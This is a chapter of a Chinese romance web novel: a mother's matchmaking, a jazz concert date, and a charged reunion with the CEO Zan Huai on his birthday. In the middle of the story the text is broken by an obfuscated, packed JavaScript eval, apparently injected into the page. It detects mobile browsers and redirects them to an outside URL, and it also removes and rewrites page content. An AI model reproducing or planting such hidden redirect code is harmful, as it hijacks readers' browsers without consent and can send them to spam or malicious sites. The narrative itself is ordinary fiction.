左卿玉笑得更开心了,“小蔺啊,你这么照顾我生意,我可得好好谢谢你。”她意味深长地看了眼左镯,“你看我们家左镯,平时就知道工作,还给我跑去海外七年,连个男朋友都没有。现在她终于回来了,你们同龄人多接触接触,没准……” “妈!”左镯忍不住捂住左女士的胡说八道的嘴,恨不得找个地缝钻进去。 蔺鸿鸣倒是显得从容,他温和地笑了笑,“左阿姨,您别开玩笑了。我和左镯只是工作关系。” 这话令左镯不禁松了口气,幸亏蔺鸿鸣没有参与左女士的胡搅蛮缠,再添一把柴。 左卿玉却不依不饶,“哎呀,工作关系也可以发展成别的关系嘛。你看你,长得斯斯文文的,又是左镯的学长,多般配啊。” 左镯无奈地看着自己的母亲,心想这个永远长不大的“小公主”怎么突然操起了老妈子的心。女性似乎到了一个年龄,有个开关就会被打开,成为一个对他人情感命运极度有责任感(多管闲事)的机器人。她偷偷瞥了眼蔺鸿鸣,发现他虽然表面平静,耳根却微微泛红。 “妈,你喝点水吧!”既然没法让左女士消停下来,只能物理让她闭嘴。 蔺鸿鸣闻言主动递来水,瓶盖已经旋好,是他一向的好教养。 左镯颔首接过,“谢谢学长了。” 左卿玉见左镯一副不为所动的模样,像是缩在壳里的蜗牛,恨铁不成钢地轻拍了一下左镯的背。见女儿疑惑地回头,她立刻使了个眼色,“今天要不是小蔺,你可能就见不到你妈了。” 虽然话说得夸张了,但本意是好的。左卿玉这么想着,还顺便抹了抹泪。 左镯一脸懵地看着这位“公主”突然开始柔弱起来,心想:刚刚还在炫耀自己因为做美甲而不在店里的那个人,去哪了? “真的得好好谢谢人家,不然我都过意不去了。”左卿玉继续演绎着她的“感恩戏码”。 “……” “也不知道你们年轻人喜欢什么。”左卿玉戳了戳左镯的后背,眼睛里闪烁着八卦的光芒,“乖囡,你们平时都玩些什么?吃饭?看电影?还是听音乐?” 左镯被亲妈这一连串的问题轰炸得头晕目眩,倒是想起了秦岫之前提起的那张双人票。不论如何,蔺鸿鸣发现火宅及时报警这一事,都值得左镯和左卿玉感恩一番,若只是口头上轻飘飘地一句谢谢,确实显得不知礼数了。 “学长,你对爵士乐感兴趣吗?明天有一个爵士乐队‘DoubleDown’在艺术中心有演出,我正好多了一张票……” 蔺鸿鸣扶了扶金丝眼镜,脸上漾开一阵笑意,“乐意之至。” 左卿玉没想到女儿终于开窍上道了,激动地拍了拍手,“好好好,你们年轻人就该好好享受一下高雅艺术!” 在左卿玉的想象里,去艺术中心听音乐会,定会像她之前和前夫约会时,盛装打扮,头发都得卷个一小时,一出场便是明艳动人。而蔺鸿鸣也一定西装笔挺,或许手上还会捧着一束玫瑰。两人会在悠扬的爵士乐声中,眼神交汇,默契地会心一笑。然后,周围的一切都变得模糊,只剩下彼此。 “妈!”左镯的声音把左卿玉从幻想中拉回现实,“在想什么呢?怎么笑得这么开心?”甚至令她起了鸡皮疙瘩。 知道自己女儿的脸皮薄,如果说出她自己的想象,左镯说不定就恼羞成怒了。于是她只是轻咳了一声:“没什么没什么,你好好陪小蔺玩,穿得漂亮点,好好感谢人家。” 蔺鸿鸣自然听出了左卿玉言语里的撮合之意,对于明天的约会也很是期待。他看向左镯,“那我明天去你家接你?”这是绅士的礼节。 左镯摆了摆手,“不用了,我们直接在大厅见吧。” 想到如果让蔺鸿鸣知道自己住在哪,两人还得坐在一辆车里度过独处时光,她就头皮发麻。两人能说什么?除了工作外,左镯想不到还有什么能和他继续聊。 好在蔺鸿鸣没有坚持,顺从道,“好,那就明天见。” “明天见。” - 东方艺术中心的大堂里,人头攒动,水晶吊顶灯下,将各色礼服照耀得波光粼粼。DoubleDown在爵士乐圈内大名鼎鼎,因此吸引了不少上流人士前来参加,二楼的包厢被集体订满,一票难求。大堂甚至特设了一个沙龙区域,专门留给这些VIP客户,在开演前可以在里面享受香槟小憩。 左镯站在大厅中央,目光在人群中搜寻着秦岫的身影。她今晚的装扮格外惊艳:头发被巧妙地梳成一个优雅的发髻,露出修长的天鹅颈;一条澳白珍珠项链在颈间闪耀,为整体造型增添了一丝典雅。她身着一袭玫红色的鱼尾无肩带礼服,贴身的剪裁完美勾勒出她的曼妙身材。整个造型让她看起来像是一朵盛开的大丽花,张扬而妩媚,与平日里清冷似雪的气质形成鲜明对比。 不少人的目光都被她吸引,但左镯似乎浑然不觉,依旧专注地寻找着她的朋友。她优雅地端着香槟杯,时不时轻抿一口,整个人散发着一种独特的魅力。 “左镯。” 一个熟悉的声音从身后传来,让左镯的心跳猛地加速。 14. 招惹(新章节) 她缓缓转身,目光落在了声音的主人身上。 是昝淮。 他穿着一身剪裁得体的黑色条纹西装,衬衫的领口微微敞开,显得既正式又不失随意。他的目光落在左镯身上,眼中闪过一丝惊艳和不可名状的深意。 他一早便注意到她了,或者说,想不注意到如此夺目的她有多难。 昝淮本以为见不到她了,毕竟微信里说得清楚——她的时间已有安排,她与他之间只有商务维系起来的微弱联系,希望他不要再以甲方的身份,侵占她的个人时间。 十分干净利落地划了一条楚河汉界,而自己站在她的对立面。 “你和别人的约,也是在这里?”昝淮还未自作多情地认为左镯是放了别人的鸽子,选择赴自己的约。但即使是这样也没关系,虽然成为备选令人不甘,可能够看见她,便已经是喜。 左镯并未注意到昝淮那复杂的心思,她的眼神一直躲闪,手也不自觉地抚平了裙摆上并不存在的褶皱。 她还准备好面对昝淮的心思,这人怎么就出现了。 见她迟迟不说话,昝淮心中不免升起一丝希望的火苗,“还是说,你是来赴我的约?” 他盯着左镯,手心里只感觉一阵潮湿。 “左镯,我在这里!” 蔺鸿鸣的声音经常被业界人称赞如玉般沉稳、丝滑,如君子,如春风,可在昝淮耳朵里却像是寒风,是大晴天落下的一头倾盆大雨,令人兴致全无。 “久等了。今天你是在太耀眼了,一时间我都没认出来。”说完就立刻意识到有歧义,蔺鸿鸣立刻解释道,“一向都美,今天更甚。” 左镯有些尴尬地挽了挽头发,不知如何回答。 蔺鸿鸣:“对了,你刚才在和谁在说话?你朋友?” 左镯惊觉,回过头才发现昝淮不知何时已经离开了。 明明是自己决定和他保持距离,结果人真的走了,却感觉心里空落落的。 蔺鸿鸣看不懂左镯眼底闪过的失落,本打算关心一下,却见到不远处一个穿着烟粉色套装的女子正踩着10cm的恨天高,朝他们这个方向迤迤然走来。 “亲爱的~”秦岫摇了摇手,展示着她新做的水钻美甲,“你来啦。” 左镯斜睨了一眼秦岫挽着的男人。嚯,皮肤嫩得感觉像是高中才毕业,不过个头倒是高挑,秦岫174踩着恨天高都只到他的脖颈。 “换口味了?”左镯压低声音。 秦岫挑眉,露出得意的笑容,“嗯,换点体力好的,吸点阳气。” 左镯:“深山老妖。” 秦岫:“食髓知味。” 蔺鸿鸣知道女人之间必然有些私房密话不希望让他们听到,他也恪守着君子礼节,先和那个小男生攀谈了起来。 秦岫上下打量了一眼蔺鸿鸣,与左镯耳语道,“不错嘛,最近喜欢老一点的?” 左镯玩笑地打了她一下,“什么老,只大我三岁,是我学长!” 秦岫摇了摇头,“姐妹,根据我的经验,他看起来,不大行。”说着,视线锁定在了下/半/身。 “瞎说什么呢!” 秦岫语重心长地拍了拍她的肩膀,“男人的花期很短的。多尝尝不同口味,不要浪费青春。” “得了吧,”左镯瞥了眼秦岫的男伴,“你这哪是尝鲜,分明是在当幼师。” 秦岫大笑,“那你呢?难道是在上成人辅导?” 左镯赶忙捂住秦岫的嘴,动作之大,令蔺鸿鸣和小男生都侧目。 “没什么,我和秦岫逗着玩。”左镯尴尬地打着哈哈。 蔺鸿鸣依旧翩翩公子模样,朝秦岫伸出手,“你好,我是左镯的学长,蔺鸿鸣。请问怎么称呼?” 秦岫本来还看八卦的欣喜表情在听到“蔺鸿鸣”这三个字后便沉了下去,但面对绅士,她还是保持着体面的假笑,“秦岫,左镯的闺蜜。” “我是梁植磊,是秦岫的男朋友。”虽然无人询问,但小男生热情大方地自然接下话头。 傻憨憨的,还挺直球,说出的头衔令秦岫眼角一抽。 不过上过一两次床,就顶着男朋友的头衔了?秦岫脸上青白一阵,好在没有当面否认。 左镯则在一旁憋笑,被秦岫瞪了一眼,满脸写着“我还没收拾你呢,等着”。 等着就等着。左镯无言地对秦岫做了个鬼脸。 快到入场时间,几人也顾不上闲聊,随着人流鱼贯而入。秦岫这次拿的是vip情侣票,每个情侣单独配备一个双人位的沙发,中间没有任何相隔。位置正好在一楼的正中,确实是顶好的位置。 左镯和蔺鸿鸣坐了下来,两人很有默契地保持着中间些许空隙,这在周围一群密不可分的情侣之间,显得格格不入。 她突然感到很庆幸选了蔺鸿鸣。他很守礼,懂得分寸和规矩。他成熟,能够敏锐地察觉自己的不自在,不会逼迫,只是温润如玉地保持着得体的距离。即使心动,也不会直接说出来,让两人都尴尬。 这样很好。左镯对着自己说。 灯光渐暗,DoubleDown的两位乐手——萨克斯风手和钢琴乐手登场致谢。看见偶像,左镯将发散的心绪回笼,专心品味音乐。 DoubleDown二重奏的配合已经天衣无缝,这次他们还邀请了顶级管弦乐团助阵,将演出水平提升到了新的高度。她的手指不自觉地跟随节奏轻轻敲打着膝盖,内心充盈着喜悦。 爵士乐的精髓在于即兴发挥。钢琴手突然来了一段复杂的和声进行,打得乐团措手不及。然而,萨克斯手似乎与钢琴产生了心灵感应,迅速用一串流畅的半音阶回应。两种乐器的旋律交织在一起,仿佛在演绎一曲热情缠绵的Salsa。 当乐曲进入高潮,贝斯手开始了一段令人惊叹的行走贝斯,为整个乐段奠定了稳固的节奏基础。鼓手则用复杂的切分音节奏为整个乐队注入了强劲的律动感。 一曲终了,左镯忍不住起立鼓掌,甚至吹起了口哨。这样的杰作,值得所有的喝彩。 “学长,这段简直绝了!”她兴奋地转向蔺鸿鸣,分享自己的感受。左镯小时候学过琴,音乐术语侃侃道来,“你注意到钢琴手那段从Cmaj7到Am7的和弦转换吗?那个效果太棒了!让我惊艳的是整个乐队的摇摆感,尤其是在4/4拍子中加入了一些3/4的元素,天呐,他们怎么想到的!” 左镯滔滔不绝地讲着,直到发觉蔺鸿鸣只是礼貌性地点头附和。 他听不懂,只是敷衍。左镯一眼便认出。他不过是因为自己喜欢,才来赴约,并不是真的喜欢爵士乐。 这个认知令左镯感到兴致缺缺,她的目光转向秦岫,却发现这女人完全沉浸在自己的世界里,正和她那位年轻的小奶狗舌吻,只把这杰作当做浪漫调/情用的BGM。 不仅是她,周围情侣座的大部分人都和秦岫一样,只把这里当做一个高档的liveshow。 偌大的音乐厅里,充满着热闹、暧昧、浪漫和欢欣,而她却像一个孤独的欣赏者,找不到一个灵魂的共鸣。 她的目光无意中扫向二楼的VIP包厢,开放式的围栏毫无视线遮挡,她看到了一个熟悉的身影。 昝淮独自坐在包厢里,闭着眼睛,完全沉浸在音乐中。他的头会微微随着节奏摆动,脸上带着一种她从未见过的放松和享受。在他身边,是一个空着的座位。 整个包厢里只有他一个人。 本不该是这样。 左镯突然感到一种奇怪的亲近感,似乎只有他们两个人真正理解并享受着这美妙的旋律。 下一秒,昝淮突然睁开了眼睛,左镯立刻低下头,只希望他不要发现自己。 也不知道为什么要躲。 左镯感觉到心底又一次涌起一阵躁动,连DoubleDown的音乐都无法驱走的热。 两个半小时过得飞快,不一会儿就到了谢幕环节。在DoubleDown两人鞠躬感谢后,本该结束的音乐会,萨克斯风手再次拿起了乐器。 在众人疑惑之际,主持人跑到了舞台中央。 “女士们,先生们,感谢大家今晚的热情参与。在我们结束之前,我有一个特别的宣布。首先,让我们再次感谢本次演出的赞助方——月擎集团。” 掌声顿时充斥整个会场,他继续道:“更令人兴奋的是,月擎集团的CEO昝总今天也在现场!” 灯光突然转向二楼的包厢,昝淮似乎也没有预料到这一part,突然其来的众多目光令他下意识地皱眉,但为了月擎的体面,他还是站起身子,微笑和众人示意。 昝淮英俊的侧脸顿时引得台下不少的讨论,左镯可以听见各种“哇”,“好帅”,“比电视上帅太多了吧”,“昝总如果入娱乐圈,还有那群丑男什么事”等言论。 主持人见台下热络其来,兴致更高昂,继续加了把火,“而今天恰好是昝总的生日。为了庆祝这个特殊的日子,DoubleDown决定为大家加演两首曲目。” 台下再次响起热烈的掌声和欢呼声。 左镯也站在其中失神地鼓掌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477953|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>生日?今天是他的生日,所以才打算邀请自己来这场音乐会吗? 她不禁抬头望向那个孤单的人,白炽灯打在他的脸上,拉出长长的阴翳。昝淮像是处在一个独特的真空世界里,万千繁华与他无关。 她在楼下,周围喧嚣热闹,花团锦簇。 他在楼上,身边空无一人,高不胜寒。 左镯突然想将他拉下来。这个念头让她瞬间失了神。 DoubleDown乐队重新就位,开始演奏一段轻快而富有节奏感的旋律。左镯很快意识到这是“生日快乐歌”的即兴版本。萨克斯手用婉转的音符勾勒出熟悉的旋律,而钢琴手则用复杂的和弦进行为这首简单的曲子增添了几分爵士的韵味。 当“生日快乐”的最后一个音符消散在空气中,乐队稍作停顿。然后,钢琴手的手指轻轻落在琴键上,奏出了一个温柔的和弦。 左镯的心猛地跳了一下。 从第一个音符响起,她就认出了这首曲子。 《MyFavoriteThings》。 这是她曾经告诉过昝淮的,她最喜欢的一首曲子。 那个凉风吹拂,星光璀璨的夜晚携着大海的气味扑面而来,将她裹挟。 - 散场时,左镯突然感到一股难以抑制的冲动。双脚仿佛有了自己的意识,不顾一切地朝二楼走去。秦岫的声音从身后传来,但在此刻,那声音显得如此遥远。 秦岫朝她的背影喊,“你去哪呀?出口在这里。” “我有事,你们先走吧!”左镯头也没回。 蔺鸿鸣正欲拉住左镯,可离场的人流迅速将他们冲散。他也没辙,只得和秦岫先出去。 左镯也不知道自己为什么要往上跑,昝淮或许早就通过vip通道离开了,亦或许他早就对自己失望,根本不想见到她。 像她这样不守规矩,明明划分了楚河汉界却又反悔,人都走了反而开始穷追不舍,毫无理智和礼节的人,真是太糟糕了。 左镯都想唾弃自己。 可是那首《MyFavoriteThings》的旋律还在她耳边回响。 不过唾弃就唾弃吧,她现在只想见到昝淮。 她一间间推开包厢的门,可回应她的都是空空如也。 直到最后一扇。 左镯有种预感,昝淮就在那里。 她放慢脚步,空气中只能听见自己因为激烈运动后的喘气声。她一步步靠近那扇门,门虚掩着,灯光从缝隙间透出来。 昝淮的脸浮在光影中,看不真切,像是黑白默片里虚构的人物。 他听见动静,回过头来,与左镯的眼神相撞。 “你来做什么?”昝淮的声音带着疏离,不带任何情感。是左镯未曾听过的,充满寒意的声音。 他变回了那个外人熟知的,名利场上淡漠疏离的贵公子。 “我不知道。” 左镯老实承认,一步步走近。 “但我觉得,今天必须要见到你。” 她停在昝淮面前,轻轻将手覆上他的眼睛,遮住那双藏在面具后悲伤的眼眸。 “昝淮,生日快乐。” 她的声音轻柔,带着真诚的祝福和温暖的笑意。昝淮突然觉得,这比刚才的爵士乐表演还要好听。 左镯是发自内心这么想的,她来到昝淮面前与其说是因为内疚和歉意,倒不如说是本能。 她本能地被吸引了。 或许是他在开场前带着希冀的眼神,或许是灯光下那抹独自伫立的身影,或许是他还记得自己随口提及的曲子。 有数百个或许,数千个原因,数万个借口,它们被丢入程序里,输出的都只有一个结果——她想见他。 昝淮缓缓覆上她的手,轻轻将其从眼前移开,站起身来。 他很高,舞台的灯光将他的影子投在左镯身上,如一层沉重的罩子,将她包裹。 他向前迈了一步,左镯下意识地后退,直到背抵上冰冷的墙壁。他没有触碰她,却给人一种无处可逃的压迫感。 目光自头顶淋下来,如同捕猎者的俯视,带着隐隐的掌控欲。 左镯能感觉到身体里的动物本能正发出危险的警告。 他一直握着左镯的手腕,丝毫没有松开的意思。 逃不掉了。她想。 昝淮的声音低沉沙哑,像是从深渊里爬出的怪物,对她轻声呢喃。 “左镯,我给过你机会,但你还是来招惹我了。” “这一次,我不会再放手。”